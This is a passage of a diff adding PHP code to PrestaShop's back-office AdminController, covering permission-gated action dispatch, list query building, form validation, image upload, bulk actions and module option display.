Tools::getValue($this->table.'Orderway')) + $this->filter = true; + + $this->id_object = (int)Tools::getValue($this->identifier); + + /* Delete object image */ + if (isset($_GET['deleteImage'])) + { + if ($this->tabAccess['delete'] === '1') + $this->action = 'delete_image'; + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + /* Delete object */ + elseif (isset($_GET['delete'.$this->table])) + { + if ($this->tabAccess['delete'] === '1') + $this->action = 'delete'; + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + /* Change object statuts (active, inactive) */ + elseif ((isset($_GET['status'.$this->table]) || isset($_GET['status'])) && Tools::getValue($this->identifier)) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'status'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + /* Move an object */ + elseif (isset($_GET['position'])) + { + if ($this->tabAccess['edit'] == '1') + $this->action = 'position'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::getValue('submitAdd'.$this->table) + || Tools::getValue('submitAdd'.$this->table.'AndStay') + || Tools::getValue('submitAdd'.$this->table.'AndPreview')) + { + // case 1: updating existing entry + if ($this->id_object) + { + if ($this->tabAccess['edit'] === '1') + { + $this->action = 'save'; + if (Tools::getValue('submitAdd'.$this->table.'AndStay')) + $this->display = 'edit'; + else + $this->display = 'list'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + // case 2: creating new entry + else + { + if ($this->tabAccess['add'] === '1') + { + $this->action = 'save'; + if (Tools::getValue('submitAdd'.$this->table.'AndStay')) + $this->display = 'edit'; + else + $this->display = 'list'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + } + elseif (isset($_GET['add'.$this->table])) + { + if ($this->tabAccess['add'] === '1') + { + $this->action = 'new'; + $this->display = 'add'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + elseif (isset($_GET['update'.$this->table]) && isset($_GET[$this->identifier])) + { + $this->display = 'edit'; + if ($this->tabAccess['edit'] !== '1') + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (isset($_GET['view'.$this->table])) + { + if ($this->tabAccess['view'] === '1') + { + $this->display = 'view'; + $this->action = 'view'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to view this.'); + } + elseif (isset($_GET['export'.$this->table])) + { + if ($this->tabAccess['view'] === '1') + $this->action = 'export'; + } + /* Cancel all filters for this tab */ + elseif (isset($_POST['submitReset'.$this->table])) + $this->action = 'reset_filters'; + /* Submit options list */ + elseif (Tools::getValue('submitOptions'.$this->table) || Tools::getValue('submitOptions')) + { + $this->display = 'options'; + if ($this->tabAccess['edit'] === '1') + $this->action = 'update_options'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::isSubmit('submitFields') && $this->required_database && $this->tabAccess['add'] === '1' && $this->tabAccess['delete'] === '1') + $this->action = 'update_fields'; + elseif (is_array($this->bulk_actions)) + foreach ($this->bulk_actions as $bulk_action => $params) + { + if (Tools::isSubmit('submitBulk'.$bulk_action.$this->table) || Tools::isSubmit('submitBulk'.$bulk_action)) + { + if ($this->tabAccess['edit'] === '1') + { + $this->action = 'bulk'.$bulk_action; + $this->boxes = Tools::getValue($this->table.'Box'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + break; + } + elseif (Tools::isSubmit('submitBulk')) + { + if ($this->tabAccess['edit'] === '1') + { + $this->action = 'bulk'.Tools::getValue('select_submitBulk'); + $this->boxes = Tools::getValue($this->table.'Box'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + break; + } + } + elseif (!empty($this->fields_options) && empty($this->fields_list)) + $this->display = 'options'; + } + + /** + * Get the current objects' list form the database + * + * @param integer $id_lang Language used for display + * @param string $order_by ORDER BY clause + * @param string $_orderWay Order way (ASC, DESC) + * @param integer $start Offset in LIMIT clause + * @param integer $limit Row count in LIMIT clause + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + /* Manage default params values */ + $use_limit = true; + if ($limit === false) + $use_limit = false; + elseif (empty($limit)) + { + if (isset($this->context->cookie->{$this->table.'_pagination'}) && $this->context->cookie->{$this->table.'_pagination'}) + $limit = $this->context->cookie->{$this->table.'_pagination'}; + else + $limit = $this->_pagination[1]; + } + + if (!Validate::isTableOrIdentifier($this->table)) + throw new PrestaShopException(sprintf('Table name %s is invalid:', $this->table)); + $prefix = str_replace(array('admin', 'controller'), '', Tools::strtolower(get_class($this))); + if (empty($order_by)) + { + if ($this->context->cookie->{$prefix.$this->table.'Orderby'}) + $order_by = $this->context->cookie->{$prefix.$this->table.'Orderby'}; + elseif ($this->_orderBy) + $order_by = $this->_orderBy; + else + $order_by = $this->_defaultOrderBy; + } + + if (empty($order_way)) + { + if ($this->context->cookie->{$prefix.$this->table.'Orderway'}) + $order_way = $this->context->cookie->{$prefix.$this->table.'Orderway'}; + elseif ($this->_orderWay) + $order_way = $this->_orderWay; + else + $order_way = $this->_defaultOrderWay; + } + + $limit = (int)Tools::getValue('pagination', $limit); + $this->context->cookie->{$this->table.'_pagination'} = $limit; + + /* Check params validity */ + if (!Validate::isOrderBy($order_by) || !Validate::isOrderWay($order_way) + || !is_numeric($start) || !is_numeric($limit) + || !Validate::isUnsignedId($id_lang)) + throw new PrestaShopException('get list params is not valid'); + + if (isset($this->fields_list[$order_by]) && isset($this->fields_list[$order_by]['filter_key'])) + $order_by = $this->fields_list[$order_by]['filter_key']; + + /* Determine offset from current page */ + if ((isset($_POST['submitFilter'.$this->table]) || + isset($_POST['submitFilter'.$this->table.'_x']) || + isset($_POST['submitFilter'.$this->table.'_y'])) && + !empty($_POST['submitFilter'.$this->table]) && + is_numeric($_POST['submitFilter'.$this->table])) + $start = ((int)$_POST['submitFilter'.$this->table] - 1) * $limit; + + /* Cache */ + $this->_lang = (int)$id_lang; + + if (preg_match('/[.!]/', $order_by)) + { + $order_by_split = preg_split('/[.!]/', $order_by); + $order_by = pSQL($order_by_split[0]).'.`'.pSQL($order_by_split[1]).'`'; + $this->_orderBy = (isset($order_by_split) && isset($order_by_split[1])) ? $order_by_split[1] : $order_by; + } + else + $this->_orderBy = $order_by; + $this->_orderWay = Tools::strtoupper($order_way); + + /* SQL table : orders, but class name is Order */ + $sql_table = $this->table == 'order' ? 'orders' : $this->table; + + // Add SQL shop restriction + $select_shop = $join_shop = $where_shop = ''; + if ($this->shopLinkType) + { + $select_shop = ', shop.name as shop_name '; + $join_shop = ' LEFT JOIN '._DB_PREFIX_.$this->shopLinkType.' shop + ON a.id_'.$this->shopLinkType.' = shop.id_'.$this->shopLinkType; + $where_shop = Shop::addSqlRestriction($this->shopShareDatas, 'a', $this->shopLinkType); + } + + if ($this->multishop_context && Shop::isTableAssociated($this->table) && !empty($this->className)) + { + if (Shop::getContext() != Shop::CONTEXT_ALL || !$this->context->employee->isSuperAdmin()) + { + $test_join = !preg_match('#`?'.preg_quote(_DB_PREFIX_.$this->table.'_shop').'`? *sa#', $this->_join); + if (Shop::isFeatureActive() && $test_join && Shop::isTableAssociated($this->table)) + { + $this->_where .= ' AND a.'.$this->identifier.' IN ( + SELECT sa.'.$this->identifier.' + FROM `'._DB_PREFIX_.$this->table.'_shop` sa + WHERE sa.id_shop IN ('.implode(', ', Shop::getContextListShopID()).') + )'; + } + } + } + + /* Query in order to get results with all fields */ + $lang_join = ''; + if ($this->lang) + { + $lang_join = 'LEFT JOIN `'._DB_PREFIX_.$this->table.'_lang` b ON (b.`'.$this->identifier.'` = a.`'.$this->identifier.'` AND b.`id_lang` = '.(int)$id_lang; + if ($id_lang_shop) + { + if (!Shop::isFeatureActive()) + $lang_join .= ' AND b.`id_shop` = 1'; + elseif (Shop::getContext() == Shop::CONTEXT_SHOP) + $lang_join .= ' AND b.`id_shop` = '.(int)$id_lang_shop; + else + $lang_join .= ' AND b.`id_shop` = a.id_shop_default'; + } + $lang_join .= ')'; + } + + $having_clause = ''; + if (isset($this->_filterHaving) || isset($this->_having)) + { + $having_clause = ' HAVING '; + if (isset($this->_filterHaving)) + $having_clause .= ltrim($this->_filterHaving, ' AND '); + if (isset($this->_having)) + $having_clause .= $this->_having.' '; + } + + + + $this->_listsql = ' + SELECT SQL_CALC_FOUND_ROWS + '.($this->_tmpTableFilter ? ' * FROM (SELECT ' : ''); + + if ($this->explicitSelect) + { + foreach ($this->fields_list as $key => $array_value) + { + // Add it only if it is not already in $this->_select + if (isset($this->_select) && preg_match('/[\s]`?'.preg_quote($key, '/').'`?\s*,/', $this->_select)) + continue; + + if (isset($array_value['filter_key'])) + $this->_listsql .= str_replace('!', '.', $array_value['filter_key']).' as '.$key.','; + elseif ($key == 'id_'.$this->table) + $this->_listsql .= 'a.`'.bqSQL($key).'`,'; + elseif ($key != 'image' && !preg_match('/'.preg_quote($key, '/').'/i', $this->_select)) + $this->_listsql .= '`'.bqSQL($key).'`,'; + } + $this->_listsql = rtrim($this->_listsql, ','); + } + else + $this->_listsql .= ($this->lang ? 'b.*,' : '').' a.*'; + + $this->_listsql .= ' + '.(isset($this->_select) ? ', '.$this->_select : '').$select_shop.' + FROM `'._DB_PREFIX_.$sql_table.'` a + '.$lang_join.' + '.(isset($this->_join) ? $this->_join.' ' : '').' + '.$join_shop.' + WHERE 1 '.(isset($this->_where) ? $this->_where.' ' : '').($this->deleted ? 'AND a.`deleted` = 0 ' : ''). + (isset($this->_filter) ? $this->_filter : '').$where_shop.' + '.(isset($this->_group) ? $this->_group.' ' : '').' + '.$having_clause.' + ORDER BY '.(($order_by == $this->identifier) ? 'a.' : '').pSQL($order_by).' '.pSQL($order_way). + ($this->_tmpTableFilter ? ') tmpTable WHERE 1'.$this->_tmpTableFilter : ''). + (($use_limit === true) ? ' LIMIT '.(int)$start.','.(int)$limit : ''); + + if (!($this->_list = Db::getInstance()->executeS($this->_listsql))) + $this->_list_error = Db::getInstance()->getMsgError(); + else + $this->_listTotal = Db::getInstance()->getValue('SELECT FOUND_ROWS() AS `'._DB_PREFIX_.$this->table.'`'); + } + + public function getModulesList($filter_modules_list) + { + if (!is_array($filter_modules_list) && !is_null($filter_modules_list)) + $filter_modules_list = array($filter_modules_list); + + if (!count($filter_modules_list)) + return false; //if there is no modules to display just return false; + + $all_modules = Module::getModulesOnDisk(true); + $this->modules_list = array(); + foreach($all_modules as $module) + { + $perm = true; + if ($module->id) + $perm &= Module::getPermissionStatic($module->id, 'configure'); + else + { + $id_admin_module = Tab::getIdFromClassName('AdminModules'); + $access = Profile::getProfileAccess($this->context->employee->id_profile, $id_admin_module); + if (!$access['edit']) + $perm &= false; + } + + if (in_array($module->name, $filter_modules_list) && $perm) + { + $this->fillModuleData($module, 'select'); + $this->modules_list[] = $module; + } + } + if (count($this->modules_list)) + return true; + + return false; //no module found on disk just return false; + + } + + public function getLanguages() + { + $cookie = $this->context->cookie; + $this->allow_employee_form_lang = Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') ? Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') : 0; + if ($this->allow_employee_form_lang && !$cookie->employee_form_lang) + $cookie->employee_form_lang = (int)Configuration::get('PS_LANG_DEFAULT'); + $use_lang_from_cookie = false; + $this->_languages = Language::getLanguages(false); + if ($this->allow_employee_form_lang) + foreach ($this->_languages as $lang) + if ($cookie->employee_form_lang == $lang['id_lang']) + $use_lang_from_cookie = true; + if (!$use_lang_from_cookie) + $this->default_form_language = (int)Configuration::get('PS_LANG_DEFAULT'); + else + $this->default_form_language = (int)$cookie->employee_form_lang; + + foreach ($this->_languages as $k => $language) + $this->_languages[$k]['is_default'] = (int)($language['id_lang'] == $this->default_form_language); + + return $this->_languages; + } + + + /** + * Return the list of fields value + * + * @param object $obj Object + * @return array + */ + public function getFieldsValue($obj) + { + foreach ($this->fields_form as $fieldset) + if (isset($fieldset['form']['input'])) + foreach ($fieldset['form']['input'] as $input) + if (!isset($this->fields_value[$input['name']])) + if (isset($input['type']) && $input['type'] == 'shop') + { + if ($obj->id) + { + $result = Shop::getShopById((int)$obj->id, $this->identifier, $this->table); + foreach ($result as $row) + $this->fields_value['shop'][$row['id_'.$input['type']]][] = $row['id_shop']; + } + } + elseif (isset($input['lang']) && $input['lang']) + foreach ($this->_languages as $language) + { + $fieldValue = $this->getFieldValue($obj, $input['name'], $language['id_lang']); + if (empty($fieldValue)) + { + if (isset($input['default_value']) && is_array($input['default_value']) && isset($input['default_value'][$language['id_lang']])) + $fieldValue = $input['default_value'][$language['id_lang']]; + elseif (isset($input['default_value'])) + $fieldValue = $input['default_value']; + } + $this->fields_value[$input['name']][$language['id_lang']] = $fieldValue; + } + else + { + $fieldValue = $this->getFieldValue($obj, $input['name']); + if ($fieldValue === false && isset($input['default_value'])) + $fieldValue = $input['default_value']; + $this->fields_value[$input['name']] = $fieldValue; + } + + return $this->fields_value; + } + + /** + * Return field value if possible (both classical and multilingual fields) + * + * Case 1 : Return value if present in $_POST / $_GET + * Case 2 : Return object value + * + * @param object $obj Object + * @param string $key Field name + * @param integer $id_lang Language id (optional) + * @return string + */ + public function getFieldValue($obj, $key, $id_lang = null) + { + if ($id_lang) + $default_value = ($obj->id && isset($obj->{$key}[$id_lang])) ? $obj->{$key}[$id_lang] : false; + else + $default_value = isset($obj->{$key}) ? $obj->{$key} : false; + + return Tools::getValue($key.($id_lang ? '_'.$id_lang : ''), $default_value); + } + + /** + * Manage page display (form, list...) + * + * @param string $className Allow to validate a different class than the current one + */ + public function validateRules($class_name = false) + { + if (!$class_name) + $class_name = $this->className; + + /* Class specific validation rules */ + if (!empty($class_name)) + $rules = call_user_func(array($class_name, 'getValidationRules'), $class_name); + + if (isset($rules) && count($rules) && (count($rules['requiredLang']) || count($rules['sizeLang']) || count($rules['validateLang']))) + { + /* Language() instance determined by default language */ + $default_language = new Language((int)Configuration::get('PS_LANG_DEFAULT')); + + /* All availables languages */ + $languages = Language::getLanguages(false); + } + + /* Checking for required fields */ + if (isset($rules['required']) && is_array($rules['required'])) + foreach ($rules['required'] as $field) + if (($value = Tools::getValue($field)) == false && (string)$value != '0') + if (!Tools::getValue($this->identifier) || ($field != 'passwd' && $field != 'no-picture')) + $this->errors[] = sprintf( + Tools::displayError('The %s field is required.'), + call_user_func(array($class_name, 'displayFieldName'), $field, $class_name) + ); + + /* Checking for multilingual required fields */ + if (isset($rules['requiredLang']) && is_array($rules['requiredLang'])) + foreach ($rules['requiredLang'] as $field_lang) + if (($empty = Tools::getValue($field_lang.'_'.$default_language->id)) === false || $empty !== '0' && empty($empty)) + $this->errors[] = sprintf( + Tools::displayError('The field %1$s is required at least in %2$s.'), + call_user_func(array($class_name, 'displayFieldName'), $field_lang, $class_name), + $default_language->name + ); + + /* Checking for maximum fields sizes */ + if (isset($rules['size']) && is_array($rules['size'])) + foreach ($rules['size'] as $field => $max_length) + if (Tools::getValue($field) !== false && Tools::strlen(Tools::getValue($field)) > $max_length) + $this->errors[] = sprintf( + Tools::displayError('The %1$s field is too long (%2$d chars max).'), + call_user_func(array($class_name, 'displayFieldName'), $field, $class_name), + $max_length + ); + + /* Checking for maximum multilingual fields size */ + if (isset($rules['sizeLang']) && is_array($rules['sizeLang'])) + foreach ($rules['sizeLang'] as $field_lang => $max_length) + foreach ($languages as $language) + { + $field_lang_value = Tools::getValue($field_lang.'_'.$language['id_lang']); + if ($field_lang_value !== false && Tools::strlen($field_lang_value) > $max_length) + $this->errors[] = sprintf( + Tools::displayError('The field %1$s (%2$s) is too long (%3$d chars max, html chars including).'), + call_user_func(array($class_name, 'displayFieldName'), $field_lang, $class_name), + $language['name'], + $max_length + ); + } + /* Overload this method for custom checking */ + $this->_childValidation(); + + /* Checking for fields validity */ + if (isset($rules['validate']) && is_array($rules['validate'])) + foreach ($rules['validate'] as $field => $function) + if (($value = Tools::getValue($field)) !== false && ($field != 'passwd')) + if (!Validate::$function($value) && !empty($value)) + $this->errors[] = sprintf( + Tools::displayError('The %s field is invalid.'), + call_user_func(array($class_name, 'displayFieldName'), $field, $class_name) + ); + + /* Checking for passwd_old validity */ + if (($value = Tools::getValue('passwd')) != false) + { + if ($class_name == 'Employee' && !Validate::isPasswdAdmin($value)) + $this->errors[] = sprintf( + Tools::displayError('The %s field is invalid.'), + call_user_func(array($class_name, 'displayFieldName'), 'passwd', $class_name) + ); + elseif ($class_name == 'Customer' && !Validate::isPasswd($value)) + $this->errors[] = sprintf( + Tools::displayError('The %s field is invalid.'), + call_user_func(array($class_name, 'displayFieldName'), 'passwd', $class_name) + ); + } + + /* Checking for multilingual fields validity */ + if (isset($rules['validateLang']) && is_array($rules['validateLang'])) + foreach ($rules['validateLang'] as $field_lang => $function) + foreach ($languages as $language) + if (($value = Tools::getValue($field_lang.'_'.$language['id_lang'])) !== false && !empty($value)) + if (!Validate::$function($value)) + $this->errors[] = sprintf( + Tools::displayError('The %1$s field (%2$s) is invalid.'), + call_user_func(array($class_name, 'displayFieldName'), $field_lang, $class_name), + $language['name'] + ); + } + + /** + * Overload this method for custom checking + */ + protected function _childValidation() + { + } + + /** + * Display object details + */ + public function viewDetails() + { + } + + /** + * Called before deletion + * + * @param object $object Object + * @return boolean + */ + protected function beforeDelete($object) + { + return false; + } + + /** + * Called before deletion + * + * @param object $object Object + * @return boolean + */ + protected function afterDelete($object, $oldId) + { + return true; + } + + protected function afterAdd($object) + { + return true; + } + + protected function afterUpdate($object) + { + return true; + } + + /** + * Check rights to view the current tab + * + * @return boolean + */ + + protected function afterImageUpload() + { + return true; + } + + /** + * Copy datas from $_POST to object + * + * @param object &$object Object + * @param string $table Object table + */ + protected function copyFromPost(&$object, $table) + { + /* Classical fields */ + foreach ($_POST as $key => $value) + if (key_exists($key, $object) && $key != 'id_'.$table) + { + /* Do not take care of password field if empty */ + if ($key == 'passwd' && Tools::getValue('id_'.$table) && empty($value)) + continue; + /* Automatically encrypt password in MD5 */ + if ($key == 'passwd' && !empty($value)) + $value = Tools::encrypt($value); + $object->{$key} = $value; + } + + /* Multilingual fields */ + $rules = call_user_func(array(get_class($object), 'getValidationRules'), get_class($object)); + if (count($rules['validateLang'])) + { + $languages = Language::getLanguages(false); + foreach ($languages as $language) + foreach (array_keys($rules['validateLang']) as $field) + if (isset($_POST[$field.'_'.(int)$language['id_lang']])) + $object->{$field}[(int)$language['id_lang']] = $_POST[$field.'_'.(int)$language['id_lang']]; + } + } + + /** + * Returns an array with selected shops and type (group or boutique shop) + * + * @param string $table + * @return array + */ + protected function getSelectedAssoShop($table) + { + if (!Shop::isFeatureActive() || !Shop::isTableAssociated($table)) + return array(); + + $shops = Shop::getShops(true, null, true); + if (count($shops) == 1 && isset($shops[0])) + return array($shops[0], 'shop'); + + $assos = array(); + if (Tools::isSubmit('checkBoxShopAsso_'.$table)) + foreach (Tools::getValue('checkBoxShopAsso_'.$table) as $id_shop => $value) + $assos[] = (int)$id_shop; + else if (Shop::getTotalShops(false) == 1)// if we do not have the checkBox multishop, we can have an admin with only one shop and being in multishop + $assos[] = (int)Shop::getContextShopID(); + return $assos; + } + + /** + * Update the associations of shops + * + * @param int $id_object + */ + protected function updateAssoShop($id_object) + { + if (!Shop::isFeatureActive()) + return; + + if (!Shop::isTableAssociated($this->table)) + return; + + $assos_data = $this->getSelectedAssoShop($this->table, $id_object); + + // Get list of shop id we want to exclude from asso deletion + $exclude_ids = $assos_data; + foreach (Db::getInstance()->executeS('SELECT id_shop FROM '._DB_PREFIX_.'shop') as $row) + if (!$this->context->employee->hasAuthOnShop($row['id_shop'])) + $exclude_ids[] = $row['id_shop']; + Db::getInstance()->delete($this->table.'_shop', '`'.$this->identifier.'` = '.(int)$id_object.($exclude_ids ? ' AND id_shop NOT IN ('.implode(', ', $exclude_ids).')' : '')); + + $insert = array(); + foreach ($assos_data as $id_shop) + $insert[] = array( + $this->identifier => $id_object, + 'id_shop' => (int)$id_shop, + ); + return Db::getInstance()->insert($this->table.'_shop', $insert, false, true, Db::INSERT_IGNORE); + } + + protected function validateField($value, $field) + { + if (isset($field['validation'])) + { + $valid_method_exists = method_exists('Validate', $field['validation']); + if ((!isset($field['empty']) || !$field['empty'] || (isset($field['empty']) && $field['empty'] && $value)) && $valid_method_exists) + { + if (!Validate::$field['validation']($value)) + { + $this->errors[] = Tools::displayError($field['title'].' : Incorrect value'); + return false; + } + } + } + + return true; + } + + /** + * Can be overriden + */ + public function beforeUpdateOptions() + { + } + + /** + * Overload this method for custom checking + * + * @param integer $id Object id used for deleting images + * @return boolean + */ + protected function postImage($id) + { + if (isset($this->fieldImageSettings['name']) && isset($this->fieldImageSettings['dir'])) + return $this->uploadImage($id, $this->fieldImageSettings['name'], $this->fieldImageSettings['dir'].'/'); + elseif (!empty($this->fieldImageSettings)) + foreach ($this->fieldImageSettings as $image) + if (isset($image['name']) && isset($image['dir'])) + $this->uploadImage($id, $image['name'], $image['dir'].'/'); + return !count($this->errors) ? true : false; + } + + protected function uploadImage($id, $name, $dir, $ext = false, $width = null, $height = null) + { + if (isset($_FILES[$name]['tmp_name']) && !empty($_FILES[$name]['tmp_name'])) + { + // Delete old image + if (Validate::isLoadedObject($object = $this->loadObject())) + $object->deleteImage(); + else + return false; + + // Check image validity + $max_size = isset($this->max_image_size) ? $this->max_image_size : 0; + if ($error = ImageManager::validateUpload($_FILES[$name], Tools::getMaxUploadSize($max_size))) + $this->errors[] = $error; + + $tmp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + if (!$tmp_name) + return false; + + if (!move_uploaded_file($_FILES[$name]['tmp_name'], $tmp_name)) + return false; + + // Evaluate the memory required to resize the image: if it's too much, you can't resize it. + if (!ImageManager::checkImageMemoryLimit($tmp_name)) + $this->errors[] = Tools::displayError('Due to memory limit restrictions, this image cannot be loaded. Please increase your memory_limit value via your server\'s configuration settings. '); + + // Copy new image + if (empty($this->errors) && !ImageManager::resize($tmp_name, _PS_IMG_DIR_.$dir.$id.'.'.$this->imageType, (int)$width, (int)$height, ($ext ? $ext : $this->imageType))) + $this->errors[] = Tools::displayError('An error occurred while uploading the image.'); + + if (count($this->errors)) + return false; + if ($this->afterImageUpload()) + { + unlink($tmp_name); + return true; + } + return false; + } + return true; + } + + /** + * Delete multiple items + * + * @return boolean true if succcess + */ + protected function processBulkDelete() + { + if (is_array($this->boxes) && !empty($this->boxes)) + { + $object = new $this->className(); + + if (isset($object->noZeroObject)) + { + $objects_count = count(call_user_func(array($this->className, $object->noZeroObject))); + + // Check if all object will be deleted + if ($objects_count <= 1 || count($this->boxes) == $objects_count) + $this->errors[] = Tools::displayError('You need at least one object.'). + ' <b>'.$this->table.'</b><br />'. + Tools::displayError('You cannot delete all of the items.'); + } + else + { + $result = true; + if ($this->deleted) + { + foreach ($this->boxes as $id) + { + $to_delete = new $this->className($id); + $to_delete->deleted = 1; + $result = $result && $to_delete->update(); + } + } + else + $result = $object->deleteSelection(Tools::getValue($this->table.'Box')); + + if ($result) + $this->redirect_after = self::$currentIndex.'&conf=2&token='.$this->token; + $this->errors[] = Tools::displayError('An error occurred while deleting this selection.'); + } + } + else + $this->errors[] = Tools::displayError('You must select at least one element to delete.'); + + if (isset($result)) + return $result; + else + return false; + } + + /** + * Enable multiple items + * + * @return boolean true if succcess + */ + protected function processBulkEnableSelection() + { + return $this->processBulkStatusSelection(1); + } + + /** + * Disable multiple items + * + * @return boolean true if succcess + */ + protected function processBulkDisableSelection() + { + return $this->processBulkStatusSelection(0); + } + + /** + * Toggle status of multiple items + * + * @return boolean true if succcess + */ + protected function processBulkStatusSelection($status) + { + $result = true; + if (is_array($this->boxes) && !empty($this->boxes)) + { + foreach ($this->boxes as $id) + { + $object = new $this->className((int)$id); + $object->active = (int)$status; + $result &= $object->update(); + } + } + return $result; + } + + protected function processBulkAffectZone() + { + $result = false; + if (is_array($this->boxes) && !empty($this->boxes)) + { + $object = new $this->className(); + $result = $object->affectZoneToSelection(Tools::getValue($this->table.'Box'), Tools::getValue('zone_to_affect')); + + if ($result) + $this->redirect_after = self::$currentIndex.'&conf=28&token='.$this->token; + $this->errors[] = Tools::displayError('An error occurred while affecting a zone to the selection.'); + } + else + $this->errors[] = Tools::displayError('You must select at least one element to affect a new zone.'); + + return $result; + } + + /** + * Called before Add + * + * @param object $object Object + * @return boolean + */ + protected function beforeAdd($object) + { + return true; + } + + /** + * prepare the view to display the required fields form + */ + public function displayRequiredFields() + { + if (!$this->tabAccess['add'] || !$this->tabAccess['delete'] === '1' || !$this->required_database) + return; + + $helper = new Helper(); + $helper->currentIndex = self::$currentIndex; + $helper->token = $this->token; + return $helper->renderRequiredFields($this->className, $this->identifier, $this->required_fields); + } + + /** + * Create a template from the override file, else from the base file. + * + * @param string $tpl_name filename + * @return Template + */ + public function createTemplate($tpl_name) + { + // Use override tpl if it exists + // If view access is denied, we want to use the default template that will be used to display an error + if ($this->viewAccess() && $this->override_folder) + { + if (file_exists($this->context->smarty->getTemplateDir(1).DIRECTORY_SEPARATOR.$this->override_folder.$tpl_name)) + return $this->context->smarty->createTemplate($this->override_folder.$tpl_name, $this->context->smarty); + else if (file_exists($this->context->smarty->getTemplateDir(0).'controllers'.DIRECTORY_SEPARATOR.$this->override_folder.$tpl_name)) + return $this->context->smarty->createTemplate('controllers'.DIRECTORY_SEPARATOR.$this->override_folder.$tpl_name, $this->context->smarty); + } + + return $this->context->smarty->createTemplate($this->context->smarty->getTemplateDir(0).$tpl_name, $this->context->smarty); + } + + /** + * Shortcut to set up a json success payload + * + * @param $message success message + */ + public function jsonConfirmation($message) + { + $this->json = true; + $this->confirmations[] = $message; + if ($this->status === '') + $this->status = 'ok'; + } + + /** + * Shortcut to set up a json error payload + * + * @param $message error message + */ + public function jsonError($message) + { + $this->json = true; + $this->errors[] = $message; + if ($this->status === '') + $this->status = 'error'; + } + + public function isFresh($file, $timeout = 604800000) + { + if (file_exists(_PS_ROOT_DIR_.$file)) + { + if (filesize(_PS_ROOT_DIR_.$file) < 1) + return false; + return ((time() - filemtime(_PS_ROOT_DIR_.$file)) < $timeout); + } + else + return false; + } + + public function refresh($file_to_refresh, $external_file) + { + $content = Tools::file_get_contents($external_file); + if ($content) + return (bool)file_put_contents(_PS_ROOT_DIR_.$file_to_refresh, $content); + return false; + } + + public function fillModuleData(&$module, $output_type = 'link', $back = null) + { + $obj = null; + if ($module->onclick_option) + $obj = new $module->name(); + // Fill module data + $module->logo = '../../img/questionmark.png'; + if (file_exists('../modules/'.$module->name.'/logo.gif')) + $module->logo = 'logo.gif'; + if (file_exists('../modules/'.$module->name.'/logo.png')) + $module->logo = 'logo.png'; + $module->optionsHtml = $this->displayModuleOptions($module, $output_type); + $link_admin_modules = $this->context->link->getAdminLink('AdminModules', true); + + $module->options['install_url'] = $link_admin_modules.'&install='.urlencode($module->name).'&tab_module='.$module->tab.'&module_name='.$module->name.'&anchor=anchor'.ucfirst($module->name); + $module->options['update_url'] = $link_admin_modules.'&update='.urlencode($module->name).'&tab_module='.$module->tab.'&module_name='.$module->name.'&anchor=anchor'.ucfirst($module->name); + $module->options['uninstall_url'] = $link_admin_modules.'&uninstall='.urlencode($module->name).'&tab_module='.$module->tab.'&module_name='.$module->name.'&anchor=anchor'.ucfirst($module->name); + + $module->options['uninstall_onclick'] = ((!$module->onclick_option) ? + ((empty($module->confirmUninstall)) ? '' : 'return confirm(\''.addslashes($module->confirmUninstall).'\');') : + $obj->onclickOption('uninstall', $module->options['uninstall_url'])); + + if ((Tools::getValue('module_name') == $module->name || in_array($module->name, explode('|', Tools::getValue('modules_list')))) && (int)Tools::getValue('conf') > 0) + $module->message = $this->_conf[(int)Tools::getValue('conf')]; + + if ((Tools::getValue('module_name') == $module->name || in_array($module->name, explode('|', Tools::getValue('modules_list')))) && (int)Tools::getValue('conf') > 0) + unset($obj); + } + + /** + * Display modules list + * + * @param $module + * @param $output_type (link or select) + * @param $back + * + * @return string + */ + protected $translationsTab = array(); + public function displayModuleOptions($module, $output_type = 'link', $back = null) + { + if (!isset($this->translationsTab['Disable this module'])) + { + $this->translationsTab['Disable this module'] = $this->l('Disable this module'); + $this->translationsTab['Enable this module for all shops'] = $this->l('Enable this module for all shops'); + $this->translationsTab['Disable'] = $this->l('Disable'); + $this->translationsTab['Enable'] = $this->l('Enable'); + $this->translationsTab['Reset'] = $this->l('Reset'); + $this->translationsTab['Configure'] = $this->l('Configure'); + $this->translationsTab['Delete'] = $this->l('Delete'); + $this->translationsTab['Install'] = $this->l('Install'); + $this->translationsTab['Uninstall'] = $this->l('Uninstall'); + $this->translationsTab['This action will permanently remove the module from the server. Are you sure you want to do this?'] = $this->l('This action will permanently remove the module from the server. Are you sure you want to do this?'); + } + $link_admin_modules = $this->context->link->getAdminLink('AdminModules', true); + $modules_options = array( + 'configure-module' => array( + 'href' => $link_admin_modules.'&configure='.urlencode($module->name).'&tab_module='.$module->tab.'&module_name='.urlencode($module->name), + 'onclick' => $module->onclick_option && isset($module->onclick_option_content['configure']) ? $module->onclick_option_content['configure'] : '', + 'title' => '', + 'text' => $this->translationsTab['Configure'], + 'cond' => $module->id && isset($module->is_configurable) && $module->is_configurable, + ), + 'desactive-module' => array( + 'href' => $link_admin_modules.'&module_name='.urlencode($module->name).'&'.($module->active ? 'enable=0' : 'enable=1').'&tab_module='.$module->tab, + 'onclick' => $module->active && $module->onclick_option && isset($module->onclick_option_content['desactive']) ? $module->onclick_option_content['desactive'] : '' , + 'title' => Shop::isFeatureActive() ? htmlspecialchars($module->active ? $this->translationsTab['Disable this module'] : $this->translationsTab['Enable this module for all shops']) : '', + 'text' => $module->active ? $this->translationsTab['Disable'] : $this->translationsTab['Enable'], + 'cond' => $module->id, + ), + 'reset-module' => array( + 'href' => 